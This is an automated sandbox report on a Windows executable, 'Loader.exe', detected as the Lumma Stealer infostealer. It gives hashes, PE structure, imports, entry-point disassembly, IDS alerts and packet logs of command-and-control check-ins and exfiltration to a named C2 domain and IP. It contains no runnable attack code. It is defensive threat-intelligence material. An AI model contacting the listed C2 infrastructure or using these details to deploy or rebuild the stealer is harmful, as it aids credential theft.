Start date and time:	2024-12-27 23:26:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Loader.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/1@1/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 98% Number of executed functions: 56 Number of non-executed functions: 169
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Loader.exe, PID 7400 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Loader.exe

Simulations

Behavior and APIs

Time	Type	Description
17:26:58	API Interceptor	8x Sleep call for process: Loader.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.21.30.13	WonderHack.exe	Get hash	malicious	LummaC	Browse
	https://ffm.bio/wilmingtonfirm	Get hash	malicious	Unknown	Browse
	Linux_x86	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
undesirabkel.click	WonderHack.exe	Get hash	malicious	LummaC	Browse	104.21.30.13

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0	Get hash	malicious	Unknown	Browse	172.67.216.74
	New Upd v1.1.0.exe	Get hash	malicious	LummaC	Browse	104.21.92.91
	WonderHack.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	Installer.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	phish_alert_iocp_v1.4.48 - 2024-12-27T140703.193.eml	Get hash	malicious	Unknown	Browse	104.18.11.207
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	SharcHack.exe	Get hash	malicious	Ades Stealer, BlackGuard, NitroStealer, VEGA Stealer	Browse	104.21.73.97
	NewSetup.exe	Get hash	malicious	LummaC	Browse	172.67.157.249
	ForcesLangi.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	iviewers.dll	Get hash	malicious	LummaC	Browse	104.21.60.24

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	New Upd v1.1.0.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	WonderHack.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	Installer.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	Installer.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	SoftWare(1).exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	NewSetup.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	ForcesLangi.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	iviewers.dll	Get hash	malicious	LummaC	Browse	104.21.30.13
	launcher.exe	Get hash	malicious	LummaC	Browse	104.21.30.13
	Leside-.exe	Get hash	malicious	LummaC	Browse	104.21.30.13

Dropped Files

⊘No context

Created / dropped Files

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\Loader.exe
File Type:	assembler source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14402
Entropy (8bit):	4.874636730022465
Encrypted:	false
SSDEEP:	384:vlICCmV5fTMzsM3qlICCmV5fTMzsM3ip9guFx2rBhiLfmfU:vGCC+dMOGCC+dMY9guFx2rBo
MD5:	DF0EFD0545733561C6E165770FB3661C
SHA1:	0F3AD477176CF235C6C59EE2EB15D81DCB6178A8
SHA-256:	A434B406E97A2C892FA88C3975D8181EBEA62A8DA919C5221409E425DF50FD17
SHA-512:	3FF527435BC8BCF2640E0B64725CC0DB8A801D912698D4D94C44200529268B80AA7B59A2E2A2EA6C4621E09AA249AAA3583A8D90E4F5D7B68E0E6FFFEB759918
Malicious:	false
Reputation:	low
Preview:	AcquireSRWLockExclusive..AcquireSRWLockShared..ActivateActCtx..ActivateActCtxWorker..AddAtomA..AddAtomW..AddConsoleAliasA..AddConsoleAliasW..AddDllDirectory..AddIntegrityLabelToBoundaryDescriptor..AddLocalAlternateComputerNameA..AddLocalAlternateComputerNameW..AddRefActCtx..AddRefActCtxWorker..AddResourceAttributeAce..AddSIDToBoundaryDescriptor..AddScopedPolicyIDAce..AddSecureMemoryCacheCallback..AddVectoredContinueHandler..AddVectoredExceptionHandler..AdjustCalendarDate..AllocConsole..AllocateUserPhysicalPages..AllocateUserPhysicalPagesNuma..AppPolicyGetClrCompat..AppPolicyGetCreateFileAccess..AppPolicyGetLifecycleManagement..AppPolicyGetMediaFoundationCodecLoading..AppPolicyGetProcessTerminationMethod..AppPolicyGetShowDeveloperDiagnostic..AppPolicyGetThreadInitializationType..AppPolicyGetWindowingModel..AppXGetOSMaxVersionTested..ApplicationRecoveryFinished..ApplicationRecoveryInProgress..AreFileApisANSI..AssignProcessToJobObject..AttachConsole..BackupRead..BackupSeek..BackupWrite..B

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.567353425486414
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Loader.exe
File size:	567'296 bytes
MD5:	7773630abc9d30d9e4fb74481736224c
SHA1:	960bcdda71ed3b4bef604dc549cdf4a0f84c4636
SHA256:	3cac35e6047f481ebf1530b5e63e9ad9846963dea7238351770dd6f21b846711
SHA512:	ee91f6aef70f96c39361c20bbe26b697367941977cfba4f1f1847db7e393a1906f41a5ca26c4af2bed7fc1935062c97f9dc89a8bd8047aad2217439c636cfa28
SSDEEP:	12288:kiiy2LA/I0xusciua5z2NEpYBRupKm7BfHgq155ppbdGax1Ou75vunMGZa02qRPG:kiiy2LA/I0xusciua5CNEpYBRupKm7Be
TLSH:	ECC4D0127281C0B3D96316765C78C7794A3EBC100F616AC797984BBEDEB06D19F30A6E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....[mg..........................................@.......................................@..................................j..<..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x410590
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x676D5BDA [Thu Dec 26 13:36:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	35f2e35a9ab5b63b150853141ee62e01

Entrypoint Preview

Instruction
call 00007F929CE6E1FAh
jmp 00007F929CE6E05Dh
mov ecx, dword ptr [0043B680h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F929CE6E1F6h
test esi, ecx
jne 00007F929CE6E218h
call 00007F929CE6E221h
mov ecx, eax
cmp ecx, edi
jne 00007F929CE6E1F9h
mov ecx, BB40E64Fh
jmp 00007F929CE6E200h
test esi, ecx
jne 00007F929CE6E1FCh
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [0043B680h], ecx
not ecx
pop edi
mov dword ptr [0043B6C0h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [00436D0Ch]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00436CC4h]
xor dword ptr [ebp-04h], eax
call dword ptr [00436CC0h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [00436D5Ch]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 0043CF48h
call dword ptr [00436D34h]
ret
push 00030000h
push 00010000h
push 00000000h
call 00007F929CE74FD3h
add esp, 0Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x36a8c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8f000	0x3fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3f000	0x2758	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x32618	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2eaa8	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x36c4c	0x184	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2b5ba	0x2b600	8e72f979a692e30591852f96987fd08f	False	0.5447136167146974	data	6.592696701047982	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2d000	0xc564	0xc600	d34fae497fb62cbb1bc8f3b2d6d79c25	False	0.4033696338383838	data	4.744194731846056	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a000	0x3714	0x2800	f57039ea5e709bc930aadb529c6e1a9d	False	0.29794921875	data	5.024446305521937	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x3e000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x3f000	0x2758	0x2800	26cb1ac5cc2461d1d4d4b059e129fd1f	False	0.751953125	data	6.531626083298937	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x42000	0x4d000	0x4d000	183f98511ebb2d7ebd985f00b0c819db	False	1.0003360896915585	data	7.9994026084018195	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x8f000	0x3fc	0x400	6d588082959117d83b5b94b45915208a	False	0.4423828125	data	3.391431520369637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x8f058	0x3a4	data	English	United States	0.44849785407725323

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CompareStringW, CreateFileW, CreateThread, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WaitForSingleObjectEx, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

ADVAPI32.dll

CryptDestroyKey, CryptEncrypt

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T23:26:57.370528+0100	2058550	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (undesirabkel .click)	1	192.168.2.4	64722	1.1.1.1	53	UDP
2024-12-27T23:26:58.822905+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49730	104.21.30.13	443	TCP
2024-12-27T23:26:58.822905+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.30.13	443	TCP
2024-12-27T23:26:59.564081+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.30.13	443	TCP
2024-12-27T23:26:59.564081+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.30.13	443	TCP
2024-12-27T23:27:00.794201+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49731	104.21.30.13	443	TCP
2024-12-27T23:27:00.794201+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.30.13	443	TCP
2024-12-27T23:27:01.586988+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.30.13	443	TCP
2024-12-27T23:27:01.586988+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.30.13	443	TCP
2024-12-27T23:27:03.254522+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49732	104.21.30.13	443	TCP
2024-12-27T23:27:03.254522+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.30.13	443	TCP
2024-12-27T23:27:06.637591+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49732	104.21.30.13	443	TCP
2024-12-27T23:27:07.941464+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49733	104.21.30.13	443	TCP
2024-12-27T23:27:07.941464+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.30.13	443	TCP
2024-12-27T23:27:10.195422+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49734	104.21.30.13	443	TCP
2024-12-27T23:27:10.195422+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.30.13	443	TCP
2024-12-27T23:27:12.836751+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49735	104.21.30.13	443	TCP
2024-12-27T23:27:12.836751+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.30.13	443	TCP
2024-12-27T23:27:15.839085+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49737	104.21.30.13	443	TCP
2024-12-27T23:27:15.839085+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	104.21.30.13	443	TCP
2024-12-27T23:27:20.017873+0100	2058551	ET MALWARE Observed Win32/Lumma Stealer Related Domain (undesirabkel .click in TLS SNI)	1	192.168.2.4	49741	104.21.30.13	443	TCP
2024-12-27T23:27:20.017873+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	104.21.30.13	443	TCP
2024-12-27T23:27:20.785675+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49741	104.21.30.13	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 23:26:57.597110987 CET	49730	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:26:57.597134113 CET	443	49730	104.21.30.13	192.168.2.4
Dec 27, 2024 23:26:57.597239971 CET	49730	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:26:57.600778103 CET	49730	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:26:57.600790024 CET	443	49730	104.21.30.13	192.168.2.4
Dec 27, 2024 23:26:58.822835922 CET	443	49730	104.21.30.13	192.168.2.4
Dec 27, 2024 23:26:58.822905064 CET	49730	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:26:58.833307981 CET	49730	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:26:58.833321095 CET	443	49730	104.21.30.13	192.168.2.4
Dec 27, 2024 23:26:58.833606958 CET	443	49730	104.21.30.13	192.168.2.4
Dec 27, 2024 23:26:58.883348942 CET	49730	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:26:58.892082930 CET	49730	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:26:58.892117977 CET	49730	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:26:58.892184973 CET	443	49730	104.21.30.13	192.168.2.4
Dec 27, 2024 23:26:59.564101934 CET	443	49730	104.21.30.13	192.168.2.4
Dec 27, 2024 23:26:59.564207077 CET	443	49730	104.21.30.13	192.168.2.4
Dec 27, 2024 23:26:59.564265013 CET	49730	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:26:59.569823980 CET	49730	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:26:59.569834948 CET	443	49730	104.21.30.13	192.168.2.4
Dec 27, 2024 23:26:59.579668045 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:26:59.579725027 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:26:59.579813957 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:26:59.580122948 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:26:59.580138922 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:00.794121027 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:00.794200897 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:00.795536995 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:00.795547009 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:00.795753956 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:00.797404051 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:00.797437906 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:00.797466993 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.586996078 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.587052107 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.587101936 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:01.587124109 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.587172985 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.587205887 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.587220907 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:01.587228060 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.587268114 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:01.587275028 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.603333950 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.603404999 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:01.603411913 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.611558914 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.611630917 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:01.611637115 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.664721012 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:01.706607103 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.758501053 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:01.758507967 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.782675982 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.782711983 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.782742977 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:01.782749891 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.782793999 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:01.782802105 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.782812119 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.782869101 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:01.783133030 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:01.783140898 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:01.783153057 CET	49731	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:01.783158064 CET	443	49731	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:02.036906004 CET	49732	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:02.036955118 CET	443	49732	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:02.037029028 CET	49732	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:02.037395000 CET	49732	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:02.037411928 CET	443	49732	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:03.254448891 CET	443	49732	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:03.254522085 CET	49732	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:03.255753040 CET	49732	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:03.255767107 CET	443	49732	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:03.255992889 CET	443	49732	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:03.257086039 CET	49732	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:03.257216930 CET	49732	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:03.257246971 CET	443	49732	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:03.257313013 CET	49732	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:03.257319927 CET	443	49732	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:06.637599945 CET	443	49732	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:06.637737989 CET	443	49732	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:06.637836933 CET	49732	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:06.638031960 CET	49732	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:06.638045073 CET	443	49732	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:06.724975109 CET	49733	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:06.725004911 CET	443	49733	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:06.725083113 CET	49733	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:06.725406885 CET	49733	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:06.725419044 CET	443	49733	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:07.941350937 CET	443	49733	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:07.941463947 CET	49733	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:07.943099976 CET	49733	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:07.943109989 CET	443	49733	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:07.944092989 CET	443	49733	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:07.945746899 CET	49733	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:07.945877075 CET	49733	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:07.945911884 CET	443	49733	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:08.743118048 CET	443	49733	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:08.743235111 CET	443	49733	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:08.743280888 CET	49733	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:08.744271994 CET	49733	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:08.744291067 CET	443	49733	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:08.935646057 CET	49734	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:08.935681105 CET	443	49734	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:08.935753107 CET	49734	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:08.936083078 CET	49734	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:08.936098099 CET	443	49734	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:10.195358038 CET	443	49734	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:10.195421934 CET	49734	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:10.197468996 CET	49734	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:10.197479963 CET	443	49734	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:10.197710037 CET	443	49734	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:10.198728085 CET	49734	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:10.198918104 CET	49734	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:10.198951960 CET	443	49734	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:10.199007034 CET	49734	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:10.199016094 CET	443	49734	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:11.175981998 CET	443	49734	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:11.176088095 CET	443	49734	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:11.176137924 CET	49734	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:11.176238060 CET	49734	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:11.176254988 CET	443	49734	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:11.622534990 CET	49735	443	192.168.2.4	104.21.30.13
Dec 27, 2024 23:27:11.622595072 CET	443	49735	104.21.30.13	192.168.2.4
Dec 27, 2024 23:27:11.622670889 CET	49735	443	192.168.2.4	104.21.30.13
